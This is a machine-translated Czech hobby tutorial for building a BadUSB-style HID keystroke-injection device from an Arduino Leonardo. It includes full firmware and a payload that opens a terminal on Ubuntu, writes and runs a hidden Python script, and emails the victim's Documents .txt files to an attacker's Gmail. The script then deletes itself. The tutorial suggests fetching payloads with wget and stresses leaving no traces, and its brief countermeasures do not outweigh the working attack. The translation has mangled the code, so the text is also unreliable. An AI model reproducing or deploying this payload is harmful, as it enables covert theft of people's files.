Obsah:
- Krok 1: Materiály
- Krok 2: Sestavení zařízení
- Krok 3: Jak to funguje v detailech
- Krok 4: Protiopatření
Video: Demo (HID) a prevence klávesnice Arduino: 4 kroky (s obrázky)
2024 Autor: John Day | [email protected]. Naposledy změněno: 2024-01-30 08:23
V tomto projektu použijeme arduino leonardo k simulaci možného USB útoku pomocí HID (humain interface device).
Tento tutoriál jsem nevytvořil, abych pomohl hackerům, ale abych vám ukázal skutečná nebezpečí a jak se před těmito nebezpečími chránit. Toto zařízení není zařízení, které lze použít na jakékoli platformě pro hackery, je to spíše důkaz konceptu v detailu.
Naučíme se následující:
- jak používat arduino leonardo k emulaci klávesnice
- jak číst data z SD karet
- jak vytvořit python skript, který skenuje soubory a odesílá je e -mailem
- jak chránit své já před hackovacími zařízeními USB
Krok 1: Materiály
Díly:
1. Arduino leonardo
2. čtečka karet micro USB
3. několik GB SD karta
4. tlačítko jako toto (VCC, Ground a signal)
5. propojovací kabely samice a samice a samice
6. kabel micro USB na USB
Krok 2: Sestavení zařízení
Před stavebním návodem se podívejme na pracovní princip:
Arduino leonardo se může chovat jako zařízení lidského rozhraní (HID), a proto může emulovat myš a klávesnici. Tuto funkci použijeme k otevření terminálu (v Linuxu UBUNTU) a k napsání malého skriptu, který přistoupí ke složce /Documents uvnitř domovské složky uživatele, zkopíruje tam soubory.txt a pošle je někomu e -mailem. Pokud se chcete dozvědět více podrobností, zkontrolujte další krok.
Protože je to demo zařízení, věci jsou opravdu jednoduché, nebudeme nic pájet.
Stavební návod
Než začneme, zkontrolujte připojené soubory, připojil jsem schematická schémata a všechny potřebné soubory
1. Sestavte součásti:
* zapojte kabel micro USB do arduina
* klíčový spínač připojte k arduinu (modul uzemnění, vcc a out do D8)
* připojte čtečku karet k arduinu (pomocí ICSP hlavičky). Arduino leonardo nemá hlavičku ICSP připojenou k digitálním pinům, takže budete muset připojit čtečku karet k hlavičce ICSP. Nějaké nákresy ICSP najdete zde: https://learn.sparkfun.com/tutorials/installing-an…. Připojte pin SS k digitálnímu kolíku 10
2. získejte kód arduino, můžete klonovat mé úložiště arduino na github: https://github.com/danionescu0/arduino a přejděte na projekty/keyboard_exploit nebo jej získáte zdola:
#include "Keyboard.h"
#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; Řetězec sleepCommandStartingPoint = "Spánek::"; Řetězec commandStartingPoint = "Command::"; int delayBetweenCommands = 10; tlačítko const intPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; neplatné nastavení () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Karta selhala nebo není přítomna!"); vrátit se; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Nahráno!"); zpoždění (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("Zadaný název souboru není na kartě SD přítomen, zkontrolujte název_souboruOnCard!"); } Řetězec; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (řádek); sendToKeyboard (řádek); } dataFile.close (); } void sendToKeyboard (Řetězec řetězce) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (řádek); vrátit se; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (řádek); Keyboard.println (řádek); stiskněte Enter(); vrátit se; } Serial.println ("Příkaz:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Řetězec příkaz = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (příkaz! = "") {Serial.print ("Příkaz nalezen:"); Serial.println (příkaz); Keyboard.press (getCommandCode (příkaz)); delay (delayBetweenCommands); }} Keyboard.releaseAll (); delay (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (Řetězec) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Spaní pro:"); Serial.println (sleepAmount); zpoždění (sleepAmount); } char getCommandCode (řetězec textu) {char textCharacter [2]; text.toCharArray (textové znaky, 2); znakový kód = textZnaky [0]; kód = (text == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kód; kód = (text == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kód; kód = (text == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kód; kód = (text == "KEY_UP_ARROW")? KEY_UP_ARROW: kód; code = (text == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kód; kód = (text == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kód; kód = (text == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kód; kód = (text == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kód; kód = (text == "KEY_BACKSPACE")? KEY_BACKSPACE: kód; code = (text == "KEY_TAB")? KEY_TAB: kód; kód = (text == "KEY_RETURN")? KEY_RETURN: kód; code = (text == "KEY_ESC")? KEY_ESC: kód; kód = (text == "KEY_INSERT")? KEY_INSERT: kód; kód = (text == "KEY_DELETE")? KEY_DELETE: kód; kód = (text == "KEY_PAGE_UP")? KEY_PAGE_UP: kód; kód = (text == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kód; kód = (text == "KEY_HOME")? KEY_HOME: kód; code = (text == "KEY_END")? KEY_END: kód; kód = (text == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kód; kód = (text == "KEY_F1")? KEY_F1: kód; kód = (text == "KEY_F2")? KEY_F2: kód; kód = (text == "KEY_F3")? KEY_F3: kód; kód = (text == "KEY_F4")? KEY_F4: kód; kód = (text == "KEY_F5")? KEY_F5: kód; kód = (text == "KEY_F6")? KEY_F6: kód; kód = (text == "KEY_F7")? KEY_F7: kód; kód = (text == "KEY_F8")? KEY_F8: kód; kód = (text == "KEY_F9")? KEY_F9: kód; kód = (text == "KEY_F10")? KEY_F10: kód; kód = (text == "KEY_F11")? KEY_F1: kód; kód = (text == "KEY_F12")? KEY_F2: kód;
návratový kód;
}
3. Nahrajte kód do arduina, nezapomeňte vybrat 9600 baud rate, sériový port a arduino leonardo
4. Naformátujte kartu SD pomocí FAT16 nebo FAT32
5. Pokud jste naklonovali repo github shora, zkopírujte soubor hack.txt na kartu, pokud ne, je soubor uveden níže:
Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT import smtplib import glob, os from os.path import expanduser from email. MIMEMultipart import MIMEMultipart from email. MIMEBase import MIMEBase from email. Import MIMEText MIMEText z e -mailu. Nástroj importuje COMMASPACE, datum formátování z importu e -mailu Kodéry
smtp_user = 'sender_gmail_address'
smtp_pass = 'sender_gmail_password' to_address = 'adresa_příjemce' scan_documents_location = 'dokumenty'
předmět = tělo = 'Soubory z napadeného počítače'
header = 'Komu: {0} nOd: {1} nPředmět: {2} n'.format (to_address, smtp_user, předmět)
def sendMail (do, předmět, text, soubory = ):
msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (text)) pro soubor v souborech: part = MIMEBase ('aplikace', "octet-stream") part.set_payload (open (soubor, "rb"). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (soubor)) msg.attach (část)
server = smtplib. SMTP ('smtp.gmail.com:587')
server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()
sendMail ([to_address], předmět, tělo, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))
Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4
6. Upravte následující řádky:
smtp_user = 'sender_email_addr'
smtp_pass = 'heslo odesílatele' to_address = 'adresa_příjemce'
A nahraďte je svými e -mailovými adresami
7. Vyjměte kartu a vložte ji do čtečky arduino karet
Krok 3: Jak to funguje v detailech
Jak bude útok fungovat:
1. Po stisknutí tlačítka leonardo přečte kartu SD pomocí čtečky karet SD. Na kartě bude speciální soubor obsahující klíče a kombinace klíčů. Název souboru je "hack.txt".
Soubor může obsahovat nezpracovaný text a bude předán na klávesnici tak, jak je.
Může také obsahovat speciální příkazy jako „Spánek::“a „Příkaz::“.
Řádek jako:
Spánek:: 200 znamená spánek 200 ms
Řádek jako:
Příkaz:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t znamená stisknutí levého ctrl, stisknutí levého alt, t stisknutí a vše uvolněno
Všechny speciální klíče můžete zkontrolovat zde:
2. Leonardo bude číst řádek po řádku a interpretovat příkazy a emulovat klávesy na klávesnici. Soubor "hack.txt" obsahuje kombinaci klíčů, které dělají následující (pro UBUNTU linux):
A. otevře terminál (CTRL + ALT + T)
b. otevře soubor pythonu pro vytvoření pomocí vi (zapíše "vi hack.py"
C. zapisuje skript pythonu, který shromažďuje všechny textové soubory v domovské složce dokumentů a odesílá je na zadanou adresu gmail
d. spustí soubor na pozadí („nohup python hack.py &“)
E. odstraní soubor (rm -rf hack.py)
F. zavírá terminál (ALT + F4)
Celé to běží za pár sekund a nezanechává stopy.
Vylepšení a řešení potíží
* Můžete si všimnout, že poté, co otevírám terminál, píšu soubor pythonu. lepší způsob, jak to udělat, je někde ho hostit a stáhnout pomocí příkazu „wget some_url“, poté jej přejmenovat na hack.py
* Také můžeme stáhnout nebo spustit ready made exploit pro cílový operační systém
* do modulu lze přidat wifi a hacky lze nahrát přes WIFI
* můžete použít arduino micro (který je mnohem menší) a vložit do něj kód exploitu (aby byl menší)
Omezení
1. Protože simulované zařízení (klávesnice a myš) nemá žádnou zpětnou vazbu, nevíme, co se stane po vydání příkazu, což znamená, že musíme použít zpoždění. Například vydávám příkaz k otevření terminálu, ale nevím, kdy bude skutečně otevřený, takže potřebuji zadat libovolné zpoždění, aby se zajistilo, že znaky, které zadáte poté, nebudou ztraceny.
2. Můžeme se setkat s problémy s oprávněními, jako je nedostatek přístupu k portu USB nebo oprávnění něco instalovat
3. Rychlost psaní na Leonardo není tak velká
4. Bude fungovat pouze na cíleném operačním systému (v našem případě UBUNTU linux)
V dalším kroku se pokusíme najít způsoby, jak využít tato omezení, abychom zabránili hacknutí našeho počítače
Krok 4: Protiopatření
1. Deaktivace portů USB
-pro Windows můžete zkontrolovat tento návod:
2. Seznam povolených zařízení USB:
- pro Windows:
2. Zamkněte počítač, když nejste pryč
3. Nepřihlašujte se jako root (pro instalaci čehokoli vyžadujte hesla)
4. Udržujte své vlastní aktuální (automatické aktualizace zapnuty)
Doporučuje:
Ovladač klávesnice HID pro budoucí tón Project Diva Aracade: 5 kroků
Ovladač klávesnice HID pro Project Diva Aracade Future Tone: V-USB je nízkorychlostní řešení knihovny USB pro mikrořadiče AVR. Umožňuje nám vytvářet zařízení HID (klávesnice, myš, gamepad atd.) Pomocí mikrořadičů AVR. Implementace klávesnice HID je založena na HID 1.11. Podporuje maximálně 6 stisknutí kláves
Prevence domácího úniku plynu pomocí Arduina: 3 kroky
Prevence domácího úniku plynu pomocí Arduina: V tomto návodu jsem vytvořil prototyp, který automaticky zavře plynový knoflík láhve LPG, když dojde k úniku plynu. LPG je bez zápachu a pro svůj zápach je přidán prostředek zvaný Ethyl Mercaptan, takže si ho lze všimnout v případě úniku
Prevence kolize- Poháněno Pi: 6 kroků
Prevence kolizí-Powered by Pi: This Instructable will you a step-by-step guide to construction of the Collision Prevention System. Chcete -li začít, musíte získat následující seznam materiálů: Raspberry PI 3 (s napájecími a ethernetovými akordy), 1 rozšiřující deska GPIO a kabel Ribbon
Rozhraní klávesnice s 8051 a zobrazením čísel klávesnice v 7 segmentech: 4 kroky (s obrázky)
Rozhraní klávesnice s 8051 a zobrazením čísel klávesnice v 7 segmentech: V tomto tutoriálu vám povím, jak můžeme propojit klávesnici s 8051 a zobrazovat čísla klávesnic na 7segmentovém displeji
Klávesnice Quick and Dirty Das (prázdná klávesnice): 3 kroky
Quick and Dirty Das Keyboard (Blank Keyboard): A Das Keyboard je název nejpopulárnější klávesnice bez nápisů na klávesách (prázdná klávesnice). Klávesnice Das se prodává za 89,95 $. Tento instruktáž vás provede, když si ji vytvoříte sami pomocí jakékoli staré klávesnice, kolem které ležíte